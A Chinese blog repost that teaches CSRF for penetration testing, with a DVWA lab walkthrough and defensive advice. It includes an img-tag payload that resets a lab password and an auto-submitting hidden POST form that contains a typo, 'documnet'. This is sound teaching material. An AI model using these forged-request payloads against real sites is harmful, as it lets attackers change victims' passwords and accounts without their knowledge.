我是靠谱客的博主 纯真芝麻,最近开发中收集的这篇文章主要介绍【渗透测试基础】跨站请求伪造CSRF,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

01 简介 

CSRF(Cross-Site request Forgery)跨站请求伪造,它是一种挟持用户在当前已登录的web应用程序上执行非本意操作的方法。

 

过程描述:

  1.  用户通过浏览器访问并登录受信任网站A。
  2. 网站A验证通过后,返回cookie信息给浏览器。
  3. 用户在未登出网站A时,访问了恶意网站B。
  4. 恶意网站B返回给用户浏览器包含恶意请求网站A的代码。
  5. 在用户不知道的情况下,用户浏览器携带着步骤2的cookie,访问了网站A,完成攻击。

分析:http协议是无状态的,通过cokies记录会话信息,用户登录网站后,浏览器爆粗cookies信息。再次访问网站时,浏览器会将cookies附带在请求中。且接口只检查cookies信息,无法区分是否用户主动发起的请求。

 02 危害

添加账号

重置密码

任意发帖

……

03 示例

GET型

以dvwa靶场(192.168.77.100)get型csrf为例:

  1. 构造 payload
    <html>
        <body>
            <img src="http://192.168.77.100/dvwa/vulnerabilities/csrf/?password_new=admin123&password_conf=admin123&Change=%E6%94%B9%E5%8F%98" />
        </body>
    </html>
  2. 发送恶意链接(http://192.168.77.130/1.html)给用户诱导用户点击
  3. 模拟用户访问http://192.168.77.130/1.html,携带用户cookie,执行了重置密码操作。如下:
  4. dvwa密码已被重置为admin123

 POST型

需要构造form表单,在网页加载时自动提交,如下:

<html>
<body>
<form action="http://a.com/resetpasswd" method="post">
<input type="hidden" name="user" value="xiaoming" />
<input type="hidden" name="password" value="123456" />
<script>documnet.forms[0].submit()</script>
</form>
</body>
</html>

04 漏洞点

  1. 请求没有refer,token字段,即服务器不判断来源,常常存在csrf。
  2. 有refer,token字段,但是删除这两个字段仍然可以请求成功,说明存在csrf漏洞。

04 防御措施

  1. 检查referer,确认来源可信
  2. 添加token,为接口生成随机token,定义失效时间,在合法请求中带上toke

05 问题

实际渗透测试过程中,发现Edge和chrome并没有携带A网站的cookie信息,原因是受浏览器同源策略的限制,非同源网站无法获取cookie信息,若解决该问题需要解决跨域问题。可参照https://www.cnblogs.com/snowie/p/15044091.html

最后

以上就是纯真芝麻为你收集整理的【渗透测试基础】跨站请求伪造CSRF的全部内容,希望文章能够帮你解决【渗透测试基础】跨站请求伪造CSRF所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(38)

评论列表共有 0 条评论

立即
投稿
返回
顶部